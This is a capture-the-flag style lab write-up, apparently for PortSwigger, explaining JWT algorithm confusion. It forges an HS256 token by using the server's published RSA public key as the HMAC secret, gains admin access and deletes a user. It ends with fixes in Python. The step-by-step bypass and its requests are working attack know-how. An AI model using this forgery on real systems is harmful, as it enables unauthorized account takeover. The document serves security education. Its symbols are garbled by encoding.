Goal:
- π Fetch the server's public key from
/jwks.jsonβ import the JWK into JWT Editor Keys as a New RSA Key - π Right-click the RSA key β "Copy Public Key as PEM" β Base64-encode it in Burp's Decoder tab
- π Create a New Symmetric Key β replace the
kvalue with the Base64-encoded PEM β save it - βοΈ In Burp Repeater, change the JWT header's
algfromRS256toHS256β change the payload'ssubto"administrator" - βοΈ Click Sign β select your symmetric key β check "Don't modify header" β the token is now signed with the server's own public key as the HMAC secret
- πΊοΈ Send
GET /adminβ the server verifies with its public key as the HMAC secret β it matches β admin panel loads - ποΈ Delete the user
carlosβ lab solved!
π§ Concept Recap
JWT algorithm confusion (also called key confusion) exploits a server that uses RSA (RS256) to sign tokens but fails to enforce the algorithm server-side. Because the
algheader is client-controlled, an attacker can switch it fromRS256toHS256. If the server then uses its RSA public key as the HMAC secret for verification, and the attacker already knows that public key (exposed at/jwks.json), the attacker can sign any token with that same public key and the server will accept it. The public key β normally safe to share β becomes the secret that forges unlimited valid tokens.
π Normal RS256 Flow vs Algorithm Confusion Attack
Feature Normal RS256 Algorithm Confusion Attack
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
alg value RS256 HS256 (changed by attacker)
Server signs with RSA private key β (attacker forges
(secret) the token)
Attacker signs β Can't β β
Public key as
with no private key HMAC secret
Server verifies RSA public key Public key reused as
with HMAC secret
Result β
Secure β Attacker-forged
token accepted
Why the public key exposure makes this catastrophic:
Normal RS256:
Sign: private_key (secret - only the server has it)
Verify: public_key (safe to publish - anyone can verify)
β Attacker knows public key but can't sign β secure
After alg confusion to HS256:
Sign: public_key (attacker already has this!)
Verify: public_key (server uses same key for HMAC)
β Attacker can sign anything with the public key β fully forged tokens β
The full attack flow:
Log in as wiener β capture JWT in Burp Repeater
β
GET /jwks.json β copy the JWK object from the keys array
β
JWT Editor Keys β New RSA Key β paste JWK β save
Right-click RSA key β "Copy Public Key as PEM"
Burp Decoder β paste PEM β encode as Base64 β copy result
β
JWT Editor Keys β New Symmetric Key β Generate
Replace k value with Base64 PEM β save
β
In Repeater β JSON Web Token tab:
Header: { "alg": "HS256", ... } β changed from RS256
Payload: { "sub": "administrator", ... }
β
Sign β select symmetric key β "Don't modify header" β OK
β Token signed with HMAC-SHA256 using server's public key as secret
β
Send GET /admin
β Server reads alg: HS256 β uses public key as HMAC secret to verify
β Our signature matches β token accepted β
β sub: "administrator" β admin access granted β
β
Delete carlos β lab solved β
π οΈ Step-by-Step Attack
π§ Step 1 β Install JWT Editor and Log In
- π Click "Access the lab"
- π Ensure Burp Suite is running and proxying traffic
- βοΈ In Burp β Extender β BApp Store β search JWT Editor β click Install
- π±οΈ On the lab site, click "My account" β log in with
wiener/peter - π±οΈ In Burp β Proxy β HTTP history β find the post-login
GET /my-account - π±οΈ Right-click β "Send to Repeater"
π§ Step 2 β Confirm You're Blocked from /admin
- π±οΈ In Repeater, change the path from
/my-accountto/admin:
GET /admin HTTP/1.1
Cookie: session=eyJhbGci... (wiener's original token)2. π±οΈ Click "Send"
Expected result:
β "Admin interface only accessible if logged in as the administrator"
β Confirms admin access is gated on the sub claim
β The JWT header shows alg: RS256 β the server is using asymmetric signingπ§ Step 3 β Obtain the Server's Public Key
- π In the browser, navigate to:
https://YOUR-LAB-ID.web-security-academy.net/jwks.jsonπ Common locations
/.well-known/jwks.json
/jwks.json
/.well-known/openid-configuration2. π±οΈ The server responds with a JWK Set:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "da5f15e1-402b-4132-810e-791058eed829",
"alg": "RS256",
"n": "rSKFd-fIzml9WYdlGZtLYX32IuQDXFRJekhycLKueKR1..."
}
]
}3. π Copy the JWK object β the { ... } inside the keys array β not the outer array itself
Key observation:
β The server exposes its RSA public key openly at /jwks.json
β This is normal for RS256 β public keys are safe to publish
β But if the server accepts HS256, this public key becomes the HMAC secret
β The attacker now has everything needed to forge tokensπ§ Step 4 β Import the JWK as an RSA Key in JWT Editor
- π±οΈ In Burp β click the JWT Editor Keys tab in the main tab bar
- π±οΈ Click "New RSA Key"
- π±οΈ In the dialog, ensure the JWK option is selected
- π Paste the JWK object you copied from
/jwks.json:
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "da5f15e1-402b-4132-810e-791058eed829",
"alg": "RS256",
"n": "rSKFd-fIzml9WYdl..."
}5. π±οΈ Click "OK" to save
π§ Step 5 β Copy the Public Key as PEM
- π±οΈ In the JWT Editor Keys tab, find the RSA key you just saved
- π±οΈ Right-click it β select "Copy Public Key as PEM"
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArSKFd+fIzml9WYdlGZtL
YX32IuQDXFRJekhycLKueKR1wQ+35E7P6h+3v/zV/d2K5PN2BIWmkQackscLtvR9
...
-----END PUBLIC KEY-----3. π The PEM is now in your clipboard
The server stores its public key in X.509 PEM format.
To use it as an HMAC secret, we need it Base64-encoded.
Next step: encode it using Burp's Decoder.π§ Step 6 β Base64-Encode the PEM in Burp Decoder
- π±οΈ In Burp β click the Decoder tab
- π Paste the PEM (including the
-----BEGIN PUBLIC KEY-----and-----END PUBLIC KEY-----lines) - π±οΈ Click "Encode asβ¦" β select "Base64"
- π Copy the resulting Base64 string
Important:
β Include the full PEM including the header/footer lines when encoding
β The Base64 output is a single string with no line breaks
β This string will become the k value in the symmetric key β next stepπ§ Step 7 β Create a Symmetric Key Using the Base64 PEM
- π±οΈ In Burp β JWT Editor Keys tab β click "New Symmetric Key"
- π±οΈ Click "Generate" β a placeholder JWK is created:
{
"kty": "oct",
"kid": "some-generated-id",
"k": "random-base64-string"
}3. βοΈ Replace the k value with the Base64-encoded PEM you copied from Decoder:
{
"kty": "oct",
"kid": "some-generated-id",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0K..."
}4. π±οΈ Click "OK" to save
What we've done:
β Created an HMAC symmetric key whose secret IS the server's RSA public key
β When we sign a JWT with this key, we're signing it with HMAC-SHA256
using the server's public key as the secret
β The server will verify using its public key in HMAC mode β same result β passesπ§ Step 8 β Modify the JWT Header (alg)
- π±οΈ Back in Repeater (on the
GET /adminrequest) β click the JSON Web Token tab - π±οΈ In the Header section, change
algfrom"RS256"to"HS256":
{
"kid": "da5f15e1-402b-4132-810e-791058eed829",
"alg": "HS256"
}3. π±οΈ Click "Apply changes"
What this does:
β Tells the server to verify this token using HMAC-SHA256 instead of RSA
β A correctly hardened server would reject any alg that isn't RS256
β This server reads alg from the client-supplied token β vulnerabilityπ§ Step 9 β Modify the JWT Payload (sub)
- π±οΈ In the Payload section, change
subfrom"wiener"to"administrator":
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1648037164
}2. π±οΈ Click "Apply changes"
π§ Step 10 β Sign the Token with the Symmetric Key
- π±οΈ At the bottom of the JSON Web Token tab, click "Sign"
- π±οΈ Select the symmetric key you created (the one with the Base64 PEM as
k) - βοΈ Ensure "Don't modify header" is checked
Why "Don't modify header" must be checked:
β The Sign function may regenerate the header (including alg) by default
β Without this option: alg gets reset back to RS256 (matching the key type)
β With this option: the header stays exactly as you edited it β alg: HS256 preserved4. π±οΈ Click "OK"
Result:
β The JWT is signed with HMAC-SHA256 using the server's public key as the secret
β Header preserved: alg: HS256, kid: (original kid value)
β Payload: sub: "administrator"
β When the server reads this token:
β reads alg: HS256 β switches to HMAC verification
β uses its own public key as the HMAC secret
β computes HMAC(header+payload, public_key) β matches our signature β
π§ Step 11 β Access the Admin Panel
- π±οΈ Confirm the request looks like this:
GET /admin HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=MODIFIED-HEADER.MODIFIED-PAYLOAD.NEW-SIGNATURE2. π±οΈ Click "Send"
Expected result:
β 200 OK β admin panel HTML loads β
β Server verified HMAC with its own public key β passed
β Server read sub: "administrator" β admin access grantedπ§ Step 12 β Delete carlos
- π±οΈ In the admin panel response, find the delete URL:
/admin/delete?username=carlos2. π±οΈ In Repeater, update the path:
GET /admin/delete?username=carlos HTTP/1.1
Cookie: session=MODIFIED-HEADER.MODIFIED-PAYLOAD.NEW-SIGNATURE3. π±οΈ Ensure the JWT still has alg: HS256, sub: administrator, and the public-key-signed signature
4. π±οΈ Click "Send"
Result:
β carlos is deleted β
β Lab solved! ππ Lab Solved!
β
Fetched server's public key from /jwks.json
β
Imported JWK as RSA key β copied as PEM β Base64-encoded in Decoder
β
Created symmetric key with Base64 PEM as k value
β
Changed JWT alg β HS256, sub β "administrator"
β
Signed with symmetric key (preserving header)
β
Server verified with public key in HMAC mode β passed
β
Admin panel loaded β carlos deleted
β
Lab complete!π Complete Attack Chain
1. Log in as wiener β GET /my-account β Send to Repeater
2. GET /admin with original token β blocked (sub: wiener, alg: RS256)
3. Browser: GET /jwks.json β copy JWK object from keys array
4. JWT Editor Keys β New RSA Key β paste JWK β OK
5. Right-click RSA key β "Copy Public Key as PEM"
6. Burp Decoder β paste PEM β Encode as Base64 β copy result
7. JWT Editor Keys β New Symmetric Key β Generate β replace k with Base64 PEM β OK
8. Repeater β JSON Web Token tab β Header: alg β "HS256"
9. Payload: sub β "administrator"
10. Sign β select symmetric key β "Don't modify header" checked β OK
11. GET /admin β admin panel loads
12. GET /admin/delete?username=carlos β lab solvedNo private key needed. No brute-force. The server's own public key β freely published β becomes the secret that forges any token.
π§ Deep Understanding
Why the attack works β the server uses public key for HMAC
Correct RS256 verification:
verify(token, public_key, algorithm="RS256")
β Uses RSA signature verification
β Only the private key can produce a valid RSA signature
β Attacker knows public key but can't sign β secure
Vulnerable HS256 path (this lab):
alg = token.header['alg'] // reads "HS256" from attacker's token
verify(token, public_key, alg) // uses public key as HMAC secret!
β Attacker knows public key
β Attacker signs token with HMAC-SHA256(public_key)
β Server recomputes HMAC-SHA256(public_key) β same result β accepted β
The fatal assumption:
β The developer assumed alg would always be RS256
β They forgot that the client controls the alg field
β Their HMAC branch uses the RSA public key (same object) as the secret
β Public key is not secret β attacker has it β game overWhy /jwks.json is normally safe β but not in this case
Publishing public keys at /jwks.json is standard and correct for RS256:
β Public keys are meant to be public β anyone can verify RS256 tokens
β There is no secret in the public key by design
The problem is NOT the public key being published.
The problem is the server accepting HS256 and using the public key as the HMAC secret.
Fix the algorithm confusion β /jwks.json becomes harmless again.The three-step key transformation
Step 1 β JWK (JSON Web Key format, from /jwks.json):
{ "kty": "RSA", "e": "AQAB", "n": "rSKFd..." }
Used by: RSA libraries, JWT verification code
Step 2 - PEM (Privacy Enhanced Mail format, X.509):
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0...
-----END PUBLIC KEY-----
Used by: OpenSSL, most crypto libraries, file storage
Step 3 - Base64-encoded PEM (as k value in symmetric JWK):
{ "kty": "oct", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0K..." }
Used by: JWT Editor's HMAC signing - treats the PEM bytes as the HMAC secret
Why this chain works:
β The server stores its public key as X.509 PEM (hint confirms this)
β When it verifies HS256 tokens, it reads that PEM file and uses its bytes as the key
β We reproduce those exact bytes in our symmetric key β HMAC matchesπ Troubleshooting
Problem: /admin returns 401 after signing
β Most likely cause: "Don't modify header" was not checked
β Without it, signing resets alg back to RS256 β check the header in the JWT tab after signing
β Verify the header still shows alg: HS256 before sending
Problem: JWT Editor tab shows alg reverted to RS256 after signing
β The Sign dialog overwrote the header - go back and reapply alg: HS256 in the header section
β Then sign again with "Don't modify header" checked this time
Problem: Decoder Base64 output has line breaks or spaces
β Ensure you use "Encode as Base64" - not "URL-encode" or other options
β Remove any whitespace from the Base64 string before pasting as k value
β The k value must be a single continuous Base64 string
Problem: New RSA Key dialog - JWK not accepted
β Ensure you copied only the { ... } object from inside the keys array
β Do not include the outer array brackets [ ] or "keys": wrapper
β The pasted content should start with { "kty": "RSA", ...
Problem: Delete request returns 401 after /admin loaded
β The modified JWT must be used in the delete request too
β Check the Cookie header - Burp may have reverted to the original session cookie
β Paste the forged JWT manually into the Cookie header before sending
Problem: Lab already solved / carlos not in user list
β Reset the lab from the lab page to restore original stateπ¬ In One Line
π The server exposed its RSA public key at /jwks.json and accepted HS256 tokens β so switching alg from RS256 to HS256, signing the token with that public key as the HMAC secret, and setting sub to administrator produced a token the server verified with its own public key and trusted completely. That's JWT Authentication Bypass via Algorithm Confusion β the public key that was safe to publish became the secret that forged unlimited admin tokens.
π How to Fix It
# Priority 1 β Hardcode the expected algorithm server-side β never read it from the token
# The server decides the algorithm; the client has no say
# β BAD - algorithm taken from the JWT header:
header = jwt.get_unverified_header(token)
algorithm = header['alg'] # attacker controls this
payload = jwt.decode(token, public_key, algorithms=[algorithm])
# β
GOOD - algorithm fixed in server config:
EXPECTED_ALGORITHM = 'RS256'
payload = jwt.decode(token, public_key, algorithms=[EXPECTED_ALGORITHM])
# If token has alg: HS256 β InvalidAlgorithmError raised automatically
# Priority 2 β Use separate key objects for asymmetric and symmetric algorithms
# Never allow the same key material to be used for both
# β BAD - same variable used regardless of algorithm:
def verify(token):
alg = jwt.get_unverified_header(token)['alg']
return jwt.decode(token, rsa_public_key, algorithms=[alg])
# If alg=HS256 β rsa_public_key bytes used as HMAC secret β confused!
# β
GOOD - keys and algorithms are bound together:
RSA_PUBLIC_KEY = load_rsa_public_key('/etc/keys/public.pem')
ALLOWED = ['RS256']
def verify(token):
return jwt.decode(token, RSA_PUBLIC_KEY, algorithms=ALLOWED)
# HS256 is not in ALLOWED β rejected regardless of what the header says
# Priority 3 β Explicitly reject symmetric algorithms when using RSA infrastructure
def verify_token(token):
header = jwt.get_unverified_header(token)
symmetric_algorithms = {'HS256', 'HS384', 'HS512'}
if header.get('alg') in symmetric_algorithms:
raise ValueError("Symmetric algorithms are not accepted on this endpoint")
return jwt.decode(token, RSA_PUBLIC_KEY, algorithms=['RS256'])
# Priority 4 β Use a modern JWT library that separates key types strictly
import jwt # PyJWT >= 2.0 enforces this by default
# Passing an RSA key with algorithms=['HS256'] raises InvalidKeyError
# Passing alg: HS256 in a token verified against RSA key β rejected
payload = jwt.decode(
token,
RSA_PUBLIC_KEY,
algorithms=['RS256'], # whitelist - HS256 always rejected
options={'verify_exp': True}
)π If this helped you β clap it up (you can clap up to 50 times!)
π Follow for more writeups β dropping soon
π Share with your pentest team
π¬ Drop a comment